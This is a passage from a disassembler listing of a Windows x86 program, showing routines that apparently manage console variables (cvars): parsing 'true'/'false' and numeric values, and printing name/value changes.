		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B070	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0B1	proc near		; DATA XREF: ___:00440224o
		mov	eax, offset loc_40B09E
		retn
sub_40B0B1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B0E0	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B122
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_4021B2
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B122:				; CODE XREF: sub_40B0E0+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B150	proc near		; CODE XREF: sub_401DE3j

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B172
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B172:				; CODE XREF: sub_40B150+6j
		pop	ecx
		retn
sub_40B150	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B190	proc near		; CODE XREF: sub_401A00j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B190
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401753
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401C08
sub_40B190	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43F020
		call	sub_401C03
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B250	proc near		; CODE XREF: sub_401AFAj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B250
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43F020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401C03
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40155F
sub_40B250	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B2F0	proc near		; CODE XREF: sub_4017F8j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B2F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401C03
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40B2F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B470	proc near		; CODE XREF: sub_40181Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FDC
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FDC
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F50
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FDC
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401915
sub_40B470	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B510	proc near		; CODE XREF: sub_401B72j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401870
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401870
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401870
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40181B
sub_40B510	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B600	proc near		; CODE XREF: sub_4019DDj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401546
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40145B
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B681
		mov	edi, [esp+10h+arg_0]


loc_40B646:				; CODE XREF: sub_40B600+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021D0
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B68B
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B646


loc_40B681:				; CODE XREF: sub_40B600+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B68B:				; CODE XREF: sub_40B600+60j
		call	sub_401F78
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B6D0:				; CODE XREF: ___:00401460j
		push	0FFFFFFFFh
		push	offset loc_439EF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401870
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019DD
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B760	proc near		; CODE XREF: sub_4015A0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B7B1
		mov	byte ptr [esi+19h], 1


loc_40B7B1:				; CODE XREF: sub_40B760+4Bj
		pop	esi
		retn	8
sub_40B760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B7E0	proc near		; CODE XREF: sub_401F50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B835
		mov	byte ptr [esi+19h], 1


loc_40B835:				; CODE XREF: sub_40B7E0+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B7E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B870:				; CODE XREF: ___:00401D57j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		fld	dword ptr [esp+10h]
		fcomp	flt_43F024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B8C1
		mov	byte ptr [esi+19h], 1


loc_40B8C1:				; CODE XREF: ___:0040B8BBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8F0:				; CODE XREF: ___:00401CA8j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B920
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015E1
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B920:				; CODE XREF: ___:0040B8F8j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015E1
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B960:				; CODE XREF: ___:00401D7Fj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4447F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B990
		mov	byte ptr [esi+19h], 1


loc_40B990:				; CODE XREF: ___:0040B98Aj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B9B0:				; CODE XREF: ___:loc_401AE1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439F30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BAF2
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_401546
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BAEB


loc_40BA56:				; CODE XREF: ___:0040BAE5j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F78
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017EE
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	5DCh
		nop
		call	near ptr 2821DE2h
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40BA56


loc_40BAEB:				; CODE XREF: ___:0040BA50j
		mov	al, 1
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BAF2:				; CODE XREF: ___:0040B9E7j
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BB85
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BB85:				; CODE XREF: ___:0040BB04j
		lea	ecx, [ebp+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BC78
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014D3
		mov	ebx, 2
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F50
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BC78:				; CODE XREF: ___:0040BB40j
					; ___:0040BB97j ...
		xor	al, al


loc_40BC7A:				; CODE XREF: ___:0040BAEDj
					; ___:0040BB80j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD50	proc near		; CODE XREF: sub_401C08j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021EE
sub_40BD50	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_40155Fj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FEB
sub_40BD90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE00	proc near		; CODE XREF: sub_40145Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4014B0
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_40BE00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401C85j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BE70	proc near		; CODE XREF: sub_401915j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C85
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C5D
sub_40BE70	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEB0	proc near		; CODE XREF: sub_401C03j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BEB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF00	proc near		; CODE XREF: sub_401546j
		push	esi
		mov	esi, ecx
		call	sub_402158
		mov	eax, esi
		pop	esi
		retn
sub_40BF00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF20	proc near		; CODE XREF: sub_401F78j
		mov	eax, [ecx]
		push	eax
		call	sub_401848
		add	esp, 4
		retn
sub_40BF20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF40	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BF40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF70	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CFD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BF70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFA0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016AE
		mov	edi, eax
		push	edi
		call	sub_40215D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021EE
sub_40BFA0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40215D
		push	edi
		mov	[eax], ebx
		call	sub_40215D
		mov	edi, [eax]
		push	edi
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401848
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F32
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C040	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
